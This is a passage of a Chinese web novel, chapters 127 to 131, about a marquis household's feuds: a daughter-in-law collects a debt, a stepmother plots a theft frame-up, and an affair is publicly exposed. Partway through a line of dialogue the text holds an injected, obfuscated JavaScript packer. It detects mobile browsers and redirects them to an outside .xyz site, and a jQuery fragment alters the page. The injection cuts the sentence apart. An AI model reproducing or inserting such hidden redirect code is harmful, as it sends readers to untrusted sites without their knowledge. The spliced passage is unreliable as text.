萧清禾只说会做好卫少夫人,并未提及卫凌泽,云氏还想再劝,又听到萧清禾说:“大夫说我这次伤了身子,需要调理很长一段时间才能再有孕,娘若是急着抱孙子,我不介意卫郎纳妾,萧家那边由我去说,这也不会影响两家的交情。” 萧清禾连纳妾的话都说出来了,可见对卫凌泽已是失望透顶。 云氏一阵心慌,连忙否决:“禾儿,泽儿对你是有感情的,他只是一时糊涂,怎可能纳妾呢,你们还年轻,你可以慢慢调理身子,我保证以后再也不催你们了。” “多谢母亲理 解,不过母亲日后若是改变主意,可以随时通知我。” 话说到这个份上,云氏再劝就让人反感了,她只能转移话题,聊些轻松的事,暗暗盼着卫凌泽从云山寺回来后,能早日求得禾儿原谅。 夫妻齐心才是家族兴盛的根本,日后卫家是要交到他们夫妻俩手上的,若是他们貌合神离,卫家恐怕只能一步步走向衰败。 —— 春喜回到侯府也没回问心院,而是去了主院看望莫氏。 她没让下人通禀,一进屋就看到莫芸婉和莫氏正在插花,不知莫芸婉说了什么,莫氏喜笑颜开,再也看不出半点儿对莫芸婉的嫌恶鄙夷。 “早上出门闹了一通,我还担心母亲的病情会加重,没想到母亲反而容光焕发,难道我无意之中还帮母亲治好了病?” 春喜走进屋,一边往脸上贴金,一边自顾自地倒了杯茶喝。 一看到她,莫氏就沉了脸,没好气道:“你来做什么?” 春喜半点儿不觉得自己招人嫌,一脸关切道:“我来看看母亲呀,早上有人说我打了母亲,万一母亲真的伤到哪里病重不治,外人肯定会说是我克的母亲啊?” 莫氏:“……” 春喜克不克她不知道,但这小嘴淬了毒,不咒死她也能气死她。 莫氏恶狠狠地瞪着春喜:“我身体好着呢,你少来咒我,现在管家权也给你了,你该把所有心思都放在擢升宴上,这府里需要修葺的地方不少,各处的园景花卉也需要打理换新,还有宾客名单和菜单酒水都要尽快定下,才好提前把请帖发出去。” “是啊表嫂,表哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639809|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦等多年终于得了这次的晋升机会,你可要好好操持,不能让他丢脸啊,不然万一表哥后悔娶你,你往后的日子可就难过了。” 莫芸婉刚附和了一句,莫氏便冷笑道:“你的容貌品行还有家世没有一样能比得上婉儿,也不知道那个逆子是不是瞎了眼,竟然宁可要你也不要婉儿。” 春喜半点儿不生气,弯眸道:“若不是夫君非我不可,三弟哪有这样的福分娶到前大嫂,母亲如今这样喜欢莫姑娘,看来三弟的婚事也该提上日程了。” 莫氏脸色一变,大声喝道:“我还没死呢,就算管家权在你手里,这事也轮不到你插手!” 春喜挑眉看了莫芸婉一眼。 莫芸婉都这么豁出去帮莫氏了,莫氏却还不愿松口让她过门,看来她们的盟友关系也不是多牢固嘛。 莫芸婉看出春喜眸底嘲讽,暗暗捏紧绢帕,面上却道:“婚姻大事向来是父母之命、媒妁之言,确实轮不到表嫂操心。” 春喜浑不在意,又挑拨了几句,这才溜溜达达地走出主院,回到问心院,就见沈清迟站在院中。 看到她,沈清迟立刻迎上来,小声道:“大嫂,我想清楚了,娘一直只把我当二哥三哥的垫脚石,根本没有顾虑过我的感受,以后我愿意都听大哥大嫂的,求大嫂帮帮我。” 沈清迟满眼期盼,春喜欣慰道:“你能想清楚就好。” 下一刻却又听到沈清迟说:“我听说娘把掌家权给大嫂了,还让大嫂全权操持大哥的擢升宴,我虽没什么本事,但对家里的情况好歹比大嫂要熟悉一些,若是大嫂愿意相信我,我应该能帮上大嫂的忙。” 春喜偏头看了沈清迟一眼,沈清迟眼底闪过慌乱,立刻磕磕巴巴地改口:“我知道自己很笨,大嫂若是不愿意相信就算了……” 沈清迟说着像是要哭出来,春喜温声打断她:“别哭,我相信你,这样吧,明日你跟我出府。” “好,”沈清迟毫不犹豫地答应,而后又问,“咱们出府做什么呀?” “自然是筹钱啊,没钱办什么擢升宴?” “……” 第127章 筹钱办擢升宴 得知沈清迟跟着春喜一起出了门,莫芸婉第一时间来给莫氏报信:“迟儿妹妹今天跟曹春喜一起出门去了,听说是要给擢升宴筹钱。” “筹钱?萧氏留下来的嫁妆那么多,办个擢升宴竟然还需要出去筹钱,谁会借给她?” 莫氏接过莫芸婉递过来的茶喝了一口才悠悠开口,莫芸婉立刻说:“我听府里的人说曹春喜在去徐州之前,变卖了不少东西,如今她得了掌家权,也没人查她的账,她表面上看着和娘家闹得很僵,去把娘家弟弟养在府里,说不定私下让她弟弟把钱都拿回娘家去了。” 莫氏爬床上位被莫家视为耻辱,这些年也没少暗中拿钱讨好娘家,当即就信了莫芸婉的话,而后又听到莫芸婉说:“她最近和萧老夫人走得挺近的,若是她腆着脸问萧老夫人借,萧老夫人应该是会给的,毕竟这点儿钱对萧家来说不算什么。” 听到萧老夫人的名号,莫氏的脸色一下子变得难看起来。 这些年要不是顾忌这个老东西,她才不会只让沈清渊背上克妻骂名呢。 现在这老东西还敢插手侯府的家事,手未免伸得也太长了。 莫芸婉细细观察着莫氏的表情,见时机差不多成熟了,试探着道:“表哥如此爱重曹春喜,想来她接济娘家之事一定做得很隐秘,连表哥都瞒了过去,若是她的娘家人能留下一两样东西做证据就好了。” 这话戳中了莫氏,莫氏立刻道:“贾嬷嬷,去开我的私库,把那只帝王绿的镯子还有耳坠一并取来。” 莫氏冷声吩咐,贾嬷嬷惊疑不定地提醒:“夫人,那只镯子和耳坠价值不菲,可是你最最喜爱之物,夫人平日都舍不得戴呢。” 除了贵,还因为这镯子和耳坠都是从萧氏的嫁妆里偷拿的,莫氏只敢在过生辰时侯府戴戴,生怕戴出去被人认出来。 莫氏又喝了口茶,勾起一个意味深长的笑:“把它们包好拿给那个叫曹文的小孩儿,就说这是他姐姐送给他娘的赔罪礼,擢升宴那日,一定要让他娘戴着这镯子和耳坠来侯府给她女儿女婿长长脸。” 贾嬷嬷立刻明白莫氏这是要栽赃陷害,连忙劝解:“大少爷和少夫人都不是好惹的,万一到时候闹开,恐怕……” 莫氏直接打断:“到时候让门房悄悄把他娘接进府,只要让其他世家夫人相信这件事,坐实曹春喜偷盗夫家财物接济娘家的罪名,他们不认又能如何呢?” 贾嬷嬷还想再劝,莫芸婉抢先道:“姑母高明,到时咱们先让曹春喜出一点儿风头,然后再让迟儿妹妹不经意间把她从萧家借钱办宴席的事说出来,最后再把王氏揪到众人面前来个人赃并获,曹春喜就百口莫辩了。” 有了莫芸婉的支持,莫氏更觉得自己这个计策十分精妙。 一旦当众坐实曹春喜偷盗罪名,别说掌家权,就是逼着沈清渊休了她都是有可能的,如此一来,宇儿也不用娶莫芸婉这个贱人了。 这般想着,莫氏催促贾嬷嬷:“还不快去,对了,记得叮嘱那孩子不要声张,尤其是不要让曹春喜知道。” “是,老奴明白。” 贾嬷嬷告退,莫芸婉又说了许多好听的话,直把莫氏哄得眉开眼笑。 与此同时,莫家前厅,春喜带着沈清迟端坐其中,正吃着茶点喝着茶。 不得不说,莫家的厨子糕点做得不错,茶也是今年的新茶,待客的规格很高,都快赶得上萧家卫家这样的世家大族了。 沈清迟没想到春喜会带她来莫家筹钱,眼看春喜要把那盘糕点吃光,忍不住小声开口:“大嫂,要不我们还是走吧,要是娘知道我们擅自来莫家闹事肯定会生气的。” 春喜弯眸,笑得善解人意:“好妹妹,这怎么能叫闹事呢,咱们只是来要回属于你大哥的东西,而且母亲已经把掌家权交给了我,不管我做什么,母亲肯定都是支持的。” “……” 沈清迟还想继续劝春喜离开,然而还没开口,宁氏就陪着莫老夫人步入前厅。 莫老夫人是个极其威严的老太太,莫氏作为庶出,并未得到她的亲自教养,后来又做出爬床上位之事,害得莫家颜面尽失,莫老夫人对沈清迟这个外孙女儿也喜欢不起来。 落座之后,莫老夫人连余光都没给沈清迟一点儿,只凌厉地看着春喜:“沈少夫人突然造访,还非要见老身,不知有何贵干?” 早在莫老夫人进屋时,春喜就咽下嘴里的东西摆出端庄姿态,她起身道:“晚辈贸然登门,属实冒昧,还请老夫人恕罪,但眼下夫君高升,府里要办擢升宴,侯府早已成了空架子,莫家若再不还钱,这宴席就办不了啊。” 莫老夫人面色一沉,宁氏当即不满地开口:“沈少夫人,你这话是什么意思,侯府变成空架子跟莫家有什么关系?” “我没说侯府没钱和莫家有关,只是擢升宴在即,莫家又刚好欠着我家夫君的钱,我不得不拉下脸面前来讨要,莫姑娘还住在侯府呢,莫二夫人莫不是忘了那日在侯府许下的承诺?” 春喜毫不犹豫地回答,宁氏噎住。 她是答应要筹钱赔给沈清渊,但沈清渊如今升官进了御史台,还做了御史中丞,莫家又不舍得退这门亲了。 就算沈清渊不想让莫芸婉做正妻,给莫芸婉一个贵妾名分也是好的呀。 只要莫芸婉和沈清渊还有关系,那莫家也能跟着沾沾光,不然过了这个村,上哪儿再去攀个正三品的女婿? 宁氏本想拖延时间看看还有没有可以转圜的法子,没想到春喜直接闹上门来,她一时不知该如何应对,莫老夫人沉沉开口:“婚姻大事,关乎两家颜面,岂是你这种小辈能随意插手的,就算要讨还钱财,也该让清远侯府的老夫人亲自来跟我谈才是。” 谁都知道清远侯是寒门出门的泥腿子,他那娘更是活脱脱的村妇,早就被莫氏赶出了侯府,就算她来莫家,也只有求和的份,怎会退亲? 春喜并不慌张,她理了理衣摆,弯眸道:“祖母年纪大了,婆母最近又被气病了,如今侯府的掌家权在我手上,府中大小事务皆由我全权处理,我今日说的,就是她们的意思。” 听闻春喜得到了掌家权,莫老夫人眼底闪过意外,狐疑地看向沈清迟。 沈清迟顿时如芒在背。 她不知道今日要来莫家,不然说什么她都不会来的,可她昨日才向大嫂表了忠心,这会儿若是不站在大嫂这边,大嫂肯定不会再相信她。 一番犹豫后,沈清迟只能开口:“大嫂说得没错,娘确实把掌家权给了她。” 莫老夫人和宁氏皆是无语,暗骂莫氏是蠢货,然而下一刻又听到春喜说:“其实母亲还是有些不放心我的,但架不住莫姑娘极力劝说,我看莫姑娘是真心喜欢上了三弟,才如此上赶着讨好我这个大嫂呢。” 莫老夫人:“……” 宁氏:“……” 第128章 当众抓个现行 贾嬷嬷亲自把“赃物”交给曹文,又安排马车送曹文回了一趟家,等曹文回到侯府,莫芸婉才安心回到自己住的院子。 她刚关上门,沈清宇就突然出现从背后抱住了她:“婉儿,我好想你啊。” 沈清宇像条大狗一样在莫芸婉颈间嗅来嗅去。 莫芸婉忍不住翻白眼。 她陪着笑脸、端茶递水地伺候完老的,还要应付小的,她都快赶上拉磨的驴了! 心里不耐烦得很,莫芸婉面上却还要保持微笑:“三郎,姑母还没有同意让我过门,咱们不能这样,让人看到了不好。” 回来的路上莫芸婉明里暗里的勾搭,等沈清宇克制不住扑上来一夜欢好后,便没再让沈清宇近过身。 沈清宇刚开荤哪受得了如此冷落,这才绝食相逼,这两日见莫芸婉和莫氏的关系缓和下来,沈清宇立刻蠢蠢欲动。 他把莫芸婉压在门上,双手不住地在她身上游走,嘴上哀求道:“好婉儿,我都为你绝食好多天了,你也心疼心疼我好不好,再这么憋下去我会疯的。” 说着好话,沈清渊已将莫芸婉拱得衣襟大敞。 莫芸婉的呼吸也乱了,抓着沈清宇的头发提醒:“去床上。” 沈清宇立刻把她拦腰抱起。 床帐落下,两人的衣裳很快被丢到床下,情正浓时,房门突然被敲响,贾嬷嬷的声音传来:“表姑娘,莫家来人了,夫人请你马上去主院。” 好端端的,家里怎么会来人? 莫芸婉浑身一僵,连忙去推沈清宇,沈清宇却舍不得在这个时候停下,他捂住莫芸婉的嘴,冲着门外吼了一声:“让他们等着,婉儿现在没空。” 听到沈清宇的声音,贾嬷嬷眉头狂跳。 真是作孽啊,这大白天的,表姑娘怎么就把三少爷勾搭到床上去了? 贾嬷嬷不敢直接冲进屋,急匆匆地返回主院准备找莫氏商量情况,走到半路,却见莫氏带着莫家老夫人还有几位夫人气势汹汹地走了过来。 “夫人,表姑娘的身子突然不适,已经睡下了,要不晚点儿再让表姑娘来议事吧。” 贾嬷嬷随口编了个借口想要阻拦众人,宁氏立刻担忧地问:“婉儿怎么了?她生病了怎么不先请大夫?这些日子你们可是虐待她了?我告诉你,就算沈清渊不认这门亲,她也是我莫家嫡出的小姐,轮不到你们苛待!” 春喜和沈清渊的婚事已得到皇后娘娘的认同,莫芸婉硬留在侯府本就名不正言不顺,春喜去莫家要钱,“好心”说了莫芸婉在侯府的尴尬处境,宁氏脑补出莫芸婉在侯府吃糠咽菜、任人打骂的场景,顿时急火攻心,说服莫老夫人和莫家众人一起来侯府要个说法。 这会儿见贾嬷嬷推三阻四不让自己见女儿,更觉得春喜说的那些都是真的。 不等贾嬷嬷再解释,宁氏直接带着人朝莫芸婉的住处冲去。 莫氏痛恨莫芸婉勾搭沈清宇,没给她安排单独的院子,只让她住在客房,宁氏越发心痛,冲上去拍门大喊:“婉儿,快开门,娘来了,你有什么不舒服的地方,娘这就带你去看大夫。” 宁氏在门外心急如焚,莫芸婉在屋里却是吓得一个激灵。 贾嬷嬷不是知道沈清宇在她房里吗,怎么不拦着她娘,还让她娘到这儿来了? “三郎,快停下,我娘来了,可能会出大事。” “再等等,马上了,”沈清宇加快速度,感觉到莫芸婉的紧张,凑到她耳边低语,“怕什么,让舅母看到我们在一起,不正好成全我们吗,好婉儿,放松点儿。” “沈清宇,你这个蠢货!” 莫芸婉气得骂了一句,与此同时,宁氏让婆子撞开了门。 “啊啊啊!!!” 撞门的婆子发出惊叫,宁氏看清屋里的情景后险些晕倒,而后飞快地退出房间想要关上房门,跟在后面的莫氏已看到屋里的情况,当场就要冲上去打死莫芸婉这个不要脸的贱货,宁氏为了保护女儿,和莫氏扭打在一起,场面一时陷入混乱。 跟在人群最后的沈清迟目瞪口呆,春喜则是后悔没揣把瓜子在身上。 她只是想去莫家要钱,顺便挑唆一下双方的关系,让莫氏和莫芸婉不要整天闲着没事找自己的茬,没想到竟然引发了这样一出大戏。 一刻钟后,莫芸婉穿好衣服,跪在主院大声哭喊:“姑母,我真的没有勾引三少爷,是三少爷偷偷潜入我的房间对我用强,我是被逼的。” 沈清宇也没想到宁氏会把莫老夫人和莫家众人一起带来,这个时候他倒是不推卸责任,很有男子气概地站出来:“娘,婉儿说得没错,她从来都没有勾引我,是我自己喜欢她,情不自禁,所以才……” “混账东西,你给我闭嘴!” 莫氏抄起手边的茶盏砸向沈清宇,沈清宇灵活地躲开,而后道:“不管娘再怎么生气,事情已经这样了,还请娘成全我和婉儿。” 宁氏这会儿已经冷静下来。 之前皇后下了懿旨要给春喜和沈清渊补办婚礼,沈清宇就说了要娶婉儿,只怕两人在回京路上已经有了感情。 做嫂嫂的和小叔子勾搭在一起不像话,更何况如今还被当众捉奸在床,莫家是容不下婉儿了,那就只能让她和沈清宇尽快成婚才行。 想清楚这一点,宁氏沉沉开口:“妹妹,当初是你求着我把婉儿嫁给沈清渊的,如今他有了新欢抛弃婉儿,你的宇儿又强要了婉儿的身子,你若不让他们二人成婚,休怪我这个做二嫂的翻脸无情!” “什么叫宇儿强要了她的身子,宇儿是拿刀架在她脖子上了,还是给她下药了?” 莫氏愤怒反驳,想到方才两人衣衫不整的样子,只想吐血。 这还没成婚呢,大白天就勾搭上了,等成了婚,宇儿哪还有心思念书?这个下贱胚子嘴里就没有一句实话! 莫氏一点儿也不想让莫芸婉过门,莫家众人也觉得丢脸,不愿让这件事声张出去连累自己的女儿,全都逼着莫氏认下这门亲。 双方一时僵持,莫芸婉见情况不妙,故技重施,哭着闹着要撞墙,沈清宇连忙把人拦下,而后威胁莫氏:“娘,我是真心喜欢婉儿的,婉儿若是出了什么事,我也不活了!” 孽障,真是个孽障! 跟你那个老色鬼的爹一模一样,以后迟早死在女人裙下! 有沈清宇在这儿拆台,莫氏也难以招架,最终只能咬牙认下这门婚事,但莫芸婉已经嫁过一次,莫氏不愿再为两人举办婚礼,只去户部登记一下便算成婚。 莫芸婉虽觉屈辱,却也只能乖巧应下,只是心里越发恨毒了春喜。 第129章 大人会觉得我心狠吗? 莫芸婉都改嫁给沈清宇了,莫家也不好再欠着沈清渊,莫老夫人做主,当场就按照春喜之前给的清单,兑成银票还给春喜。 莫老夫人嫌丢人,离开之前和莫芸婉断绝了祖孙关系,宁氏虽然心疼女儿,却也只能跟着莫老夫人一起离开。 春喜当然不会等着莫氏骂自己,拿着银票就溜。 她刚走出主院没多久,沈清迟就追了上来:“大嫂,等等。” 春喜放慢脚步:“怎么了,有事吗?” 沈清迟抿了抿唇,犹豫许久才开口:“今日的事,是大嫂算计好的吗?” 相处这些时日,沈清迟见过春喜撒泼打滚,但一直觉得春喜是个好人,可今天她跟着春喜去莫家,亲耳听到春喜是如何捏造事实,挑起两家矛盾,还三哥和婉儿表姐被当众抓了个现行。 沈清迟不知道莫芸婉跟戏子奔逃的事,只记得莫芸婉以前经常来侯府做客,每次来都会给她带些小礼物,是个很温柔的人。 沈清迟定定地看着春喜,眼神有些失望。 春喜并不逃避她的目光,平静开口:“你指的算计,是我逼着你三哥爱上前大嫂,还是我有分身术,在我们回府的时候,逼着你三哥钻进前大嫂的屋子,当着莫家所有人的面跟前大嫂苟合?” 春喜问得很直白,沈清迟的脸立刻涨红,她磕磕巴巴地说:“大嫂,我不是怀疑今天的事是你逼着三哥做下的,我只是想问你是不是知道三哥和婉儿表姐私下有来往,所以故意带莫家的人来……来……” 尚未出阁,沈清迟说不出抓奸二字。 春喜没有回答,安安静静地看着她,沈清迟没了声音,莫名有些无地自容,过了好一会儿,她再度开口:“婉儿表姐也是个可怜人,大嫂以后能不能放她一马?” “你与其来求我,不如让她以后莫要来招惹我,上次在太傅府你也见到了,我这个人心眼儿小,喜欢睚眦必报。” 春喜说完大步离去。 沈清迟站在原地,心脏发紧。 她不知道婉儿表姐和大嫂之前有什么恩怨,但现在她正帮着婉儿表姐要搞砸大哥的擢升宴,大嫂若是知道真相,会连她一起报复吗? 沈清迟的话并未影响到春喜,回到问心院,她立刻去小厨房忙活起来。 先炖上一锅酸萝卜老鸭汤,再把肥瘦相间的五花肉切块儿煸出油脂,加冰糖炒出糖色,再加入香料慢炖做红烧肉,顺便弄一些油酥花生,最后切一小碟自己泡的酸豇豆。 做完这些,天黑了下来,春喜点上灯,又在院子里燃了驱蚊虫的香,这才悠闲地坐下等沈清渊。 已经入秋,夜里凉快了许多,院子里很快弥漫着老鸭汤的香,头顶星辰漫天,偶尔还有一两声虫鸣,春喜深吸一口气,浑身都放松下来。 她想,明日得去买两把躺椅回来才行,抽时间再在院子里种点儿藤萝,搭个架子,这样等沈清渊沐休的时候,他们就可以一起躺在院子里吹风欣赏夜景了。 许是设想的场景太过美好,睡意不知不觉袭来,但她惦记着灶上的菜,并未睡得太沉。 不知过了多久,春喜突然感觉有人站在自己面前,一睁眼,就见沈清渊站在身边,正将自己的外衫往她身上披。 “大人,你回来啦,我不是很困,就是刚刚坐这儿太舒服了,就眯了一下下,菜应该都好了,我去盛出来。” 春喜说着就要起身去厨房,肩膀被沈清渊摁住:“我去盛,你坐着休息会儿。” 春喜也没坚持,乖乖坐着没动。 大人能办那么大的案子,盛个饭菜肯定不在话下。 正想着,耳边传来熟悉的声音:“阿姐。” 春喜扭头,就见曹文站在院门口,怯生生的,不敢靠近。 在侯府这些日子他约莫吃了不少苦头,整个人消瘦了许多,不过个头倒是蹿高了些。 “有什么事过来说,站那么远我听不清。” 春喜开口,曹文这才慢吞吞地走过来,与此同时,沈清渊把饭菜都端上桌来。 诱人的香气不住地往曹文鼻子里钻,他忍不住直咽口水。 这些日子他都跟侯府的下人同吃同住,虽然偶尔也能打打牙祭,但已经很久没有吃过这么好吃的东西了。 他忍不住升起期盼,希望阿姐姐夫能留他一起吃饭。 然而等了许久只等到一句:“说吧,什么事。” 曹文艰难地把视线从饭菜上移开,拿出袖子里的书说:“我看到这一段文章有些不太明白上面的意思,能不能请姐夫给我讲讲?” 曹文说完,沈清渊就拿过了他手里的书。 “心不动于微利之诱,这句话说的是不要因为微小的利益诱惑而动摇内心的原则和操守,要保持内心清正和坚定,磊落行事。” 沈清渊立刻给出了这句话的解释,而后有些意外:“这本书的内容对你现在来说有些晦涩,其他的地方你都能看懂?” 问着话,沈清渊往前翻了翻,书里夹了很多小纸条,都是曹文写的注解。 曹文小声道:“之前姐夫给我的书写了很多注解都是简单易懂的,我看完那些再看这本,能看懂不少,还有些不明白的地方我都标注出来写了自己的想法,等过些日子可以去学堂问先生。” 之前他因为任性,被阿姐断了束脩好久没去学堂,如今怕回去赶不上大家,只能自己多看书弥补回来。 曹文的学习态度比之前认真多了,沈清渊把书还给他,温声道:“我每日酉时三刻下值,若无意外,戌时前能到家,你若还有不懂的地方,可来问我。” “谢谢姐夫。” 曹文的眼睛亮起,但问题问完了,阿姐也没留他,他该走了。 沈清渊很敏锐地发现曹文不太想走,疑惑地问:“还有事吗?” 曹文下意识地看了春喜一眼。 春喜没看他,盛了一碗汤放到沈清渊面前:“这汤我熬了好久,大人快尝尝。” 曹文唇瓣嗫嚅,最终摇头:“没有,我没事了,先回去了,姐夫再见。” 曹文说完转身跑开。 沈清渊没说什么,低头喝汤,刚喝了一口就听到春喜问:“夫君会觉得我是个狠心绝情的人吗?” “不会,”沈清渊毫不犹豫地回答,而后伸手揉了揉春喜的脑袋,“谁要是敢这么说我夫人,我第一个不答应。” 春喜弯眸,整颗心都是暖洋洋的。 她就知道,她家大人最最好了。 第130章 所以你们联合起来欺负她? 夜里春喜难得主动,沈清渊不免有些失控。 结束后,春喜趴在他怀里,久久回不过神来,嘴上却还在逞强:“今天不算,我做饭太累了,等下次,夫君一定不是我的对手。” 在这种事上还要争个高低,也是没谁了。 “好,我等着夫人。” 沈清渊应着,大掌轻抚春喜的背脊,春喜顿时浑身轻颤,连忙求饶:“夫君,我说的是改日,今天就算了。” 春喜能屈能伸的样子实在可爱,沈清渊被逗得低笑起来,胸腔跟着颤动。 他没再逗春喜,抱着她去了耳房清理。 一夜无梦,第二日沈清渊照常早起,春喜困得厉害,却还是坐起来,嘴上道:“我去生火给夫君蒸个蛋,再炒个酸豇豆肉末吧。” “不用,我出去吃,你继续睡吧。” 沈清渊把春喜摁回去,又在她眉心亲了一下,春喜一沾到枕头更睁不开眼睛了,小声嘟囔:“钱在梳妆台左边第二个抽屉里,夫君自己拿吧,我爹说了,男子汉大丈夫,出门在外不能没钱傍身的。” “岳父英明。” 沈清渊笑着打开梳妆台的抽屉,果然看到满满一匣子的碎银,粗略看来应该有好几十两。 沈清渊拿了两块碎银,走出问心院后,眉梢的笑意都没散,沈清宇的声音在这时传来:“大哥,等等,我有几句话要跟你说。” 沈清渊停下步子,看向沈清宇时,脸上没了笑意,又恢复冷淡疏离的模样。 沈清宇眼底闪过害怕,但还是开口:“我知道大哥如今高升和之前不一样了,但大哥要宠妻也该有个度,我娘不管怎么样都是你的母亲,大嫂说什么都不该对娘动手,别说世家大族,就是寻常百姓家,也没有她这样的新妇,大哥也不想刚升官就传出不孝的名声吧?” 沈清宇一口气说完,最后一句明显带着威胁的意味。 莫氏答应让沈清宇娶莫芸婉,昨夜莫芸婉就搬去和沈清宇一起住了,一夜欢愉尽兴,沈清宇对莫芸婉越发喜爱,今早便答应莫芸婉回云氏族学好好念书。 这会儿碰到沈清渊,想到莫芸婉这些日子受的委屈,沈清宇便忍不住为莫芸婉出头。 之前他是没资格管,但现在婉儿是他的妻,他绝不能让婉儿受欺负! 沈清渊对沈清宇的威胁没什么反应,只是抓住重点问:“娘什么时候跟她动的手?” “……不是娘动的手,是她打了娘,婉儿为了保护娘,还被她踹了一脚,手都擦破了呢。” 沈清宇加重语气,强调是春喜动手大人,莫氏和莫芸婉都是受害者。 沈清渊没有跟他浪费口舌,直接调转步子朝主院走去,沈清宇连忙跟上:“大哥,我说的都是事实,娘还病着呢,你别去打扰娘。” 沈清渊充耳不闻,步子迈得飞快。 主院里,莫芸婉正陪着笑脸讨好莫氏:“姑母,我已经劝三郎回去念书了,三郎说了,这些日子都是他不好,他不该跟娘对着干,以后他肯定会把心思都花在学业上,争取早日考取功名,日后为娘请封诰命。” “他那猪脑子如今全都装着你,就算真要请封诰命也是给你这个心肝宝贝儿请的,哪能轮到我啊。” 这桩婚事是莫氏被迫认下的,莫芸婉和沈清宇干那种事还被当众发现,莫氏现在看莫芸婉又是哪哪儿都不顺眼了。 莫芸婉连忙跪下:“姑母真是折煞我了,我比三郎年长好几岁,等过几年,三郎肯定会腻了我的,而且我还答应姑母会喝下绝子汤,姑母随时都可以让三郎将我休弃赶出侯府,我怎敢与姑母相争?” 说到动情处,莫芸婉落下两行清泪。 莫氏听她提及绝子汤,脸色好了些,正想让莫芸婉起身,沈清宇就冲了进来:“娘,我和婉儿刚成婚,你怎么能逼婉儿喝绝子汤呢,若是婉儿不能为我生儿育女,我宁愿绝后!” 沈清宇边说话边把莫芸婉扶起来抱在怀中,看莫氏的眼神带了敌意。 莫氏噎住,恶狠狠地瞪向莫芸婉。 这个贱人不是说宇儿回云氏族学了吗?为什么宇儿会突然出现?绝子汤明明是她自己主动说要喝的,偏偏在这个时候提起,难道是故意装柔弱好离间他们母子感情,稳固她在侯府的地位? 莫氏一时间想了很多,莫芸婉也没想到沈清宇会突然出现,她缩在沈清宇怀里问:“三郎,你不是回去念书了吗,怎么又回来了?” “我是跟大哥一起来的,若非如此,我都不知娘私底下竟是如此对你的。” 沈清宇语气激愤,已经认定莫氏是逼迫莫芸婉喝绝子汤的狠心恶婆婆。 莫氏一口气梗在胸口,闷痛得厉害。 她无力跟沈清宇辩解什么,只能没好气地瞪向沈清渊。 这个逆子从来都没有把她这个继母放在眼里过,今天是发什么癫不去上值反而跑到她这里来? 没等莫氏发问,沈清渊先一步开口:“我听三弟说,母亲跟阿喜动手了,还请母亲给我个合理的解释。” 莫氏:“……” 冤家,一个个都是讨债鬼! 莫氏头一次感受到被冤枉的滋味,她气得怒吼:“我什么时候跟她动手了,是她先克扣府上的开支让我吃青菜稀饭,我不过找她理论了几句,她就动手打我,你不去管教她,找我做什么?” “母亲伤在何处?以阿喜的身手,她若真的要打母亲,母亲还能安然无恙地坐在这里吗?” 沈清渊毫不犹豫地追问,莫芸婉连忙道:“大嫂真的动手了,只不过我及时赶到,护住了母亲,我手上还有伤呢。” 莫芸婉说着撩起袖子,露出手上一小片已经结痂的擦伤。 沈清渊挑眉:“所以是你们联合起来欺负她一个人?” 莫氏:“……”??? 莫芸婉:“……”??? 不是,你能不能好好听人说话啊。 曹春喜有多剽悍你能不清楚吗,就算是十个她们联手也欺负不了她啊! 第131章 我骂你怎么了? “大哥你不能不讲道理啊,是曹春喜她先动手要打娘,婉儿去帮忙却被她打伤,怎么到你口中就变成曹春喜被欺负了?” 沈清宇大声开口,试图让沈清渊站到他们这边。 然而话音刚落,就听到沈清渊清清冷冷地反问:“道理是说给听得懂人话的人听的,你是吗?” 沈清渊之前虽然不怎么理会沈清宇,但也不会这么不留情面地当面骂他,沈清宇噎了一些,眼眸微睁:“大哥,说话就说话,你别骂人啊。” “你自己找骂,我骂你怎么了?” “……” 沈清渊挑眉,斜睨着沈清宇,沈清宇握紧拳头,虽然很生气,却不敢再说什么。 毕竟他打不过大哥,如今身份更是比大哥低了很多。 沈清宇没了声音,屋里一时安静下来,莫氏忍不住悄悄深吸了两口气,试图查看空气中有没有酒气。 之前沈清渊几次撒疯都是因为喝醉了酒,今天怎么没喝酒也这样? 莫氏正疑惑着,沈清渊再度开口:“这次陛下不仅擢升我进了御史台,还特意给我赐了一座宅子,我若是想,随时都能分府出去单独住。” 沈清渊语气没什么起伏,莫氏听完却是脸色巨变。 陛下赐了宅子,还恩准这个逆子分府出去单独住,那她还怎么拿捏曹春喜,又怎么拿回萧氏留下来的嫁妆? 莫芸婉亦是掐紧掌心。 她愿意委身沈清宇,就是想待在侯府和曹春喜斗智斗勇,一来可以为背后帮她的人做事,免得当年跟戏子奔逃的事被揭发,二来看到曹春喜日子过得不顺,她也能寻求到一点安慰,可若是沈清渊分府出去单过,这侯府就只剩下她和莫氏狗咬狗了,日子过着还有什么意思? 两人一时都失了气势,只有沈清宇不以为然:“爹是不可能同意让大哥分府出去住的,而且大哥行事向来果决,若真能分府出去住,何必还要提前告知我们,不过是说出来吓唬我们罢了。” 沈清渊像看白痴一样看着沈清宇:“我已向陛下求了分府的圣旨,要拿出来给你看看吗?” “……” 沈清宇噎住,片刻后磕磕巴巴地问:“既然连分府的圣旨都有了,你……你为什么一直没提?” “因为府里还有一些账目没有算清楚,分府可以,该我的一个铜板都不能少。” 沈清渊态度强硬,莫氏想到春喜又是换走铺子掌柜又是夺走掌家权查账,后背顿时冒出汗来。 她几乎没有带嫁妆到侯府来,这些年吃的用的都来自萧氏的嫁妆铺子还有田地庄子,虽说府上账目是动过手脚的,但那糊弄糊弄别人还行,根本骗不过沈清渊。 沈清渊都求到分府的圣旨了,说明是铁了心要带着曹春喜出去单过。 他之前没说是觉得不必知会其他人,今日特意来说,那是为了曹春喜兴师问罪来了。 她这个做婆母的若是认不清形势,给了曹春喜气受,他就能拿出圣旨,一笔一笔地跟她把账算清楚,到时一个铜板都不会留下! 莫氏心乱如麻,沈清宇却还不知道事情的严重性,撇撇嘴道:“果然是近朱者赤近墨者黑,大哥你以前从来都不在意这些身外之物的,如今怎么跟曹春喜一样动不动就把钱挂在嘴上,也不怕被御史台那些同僚笑话。” 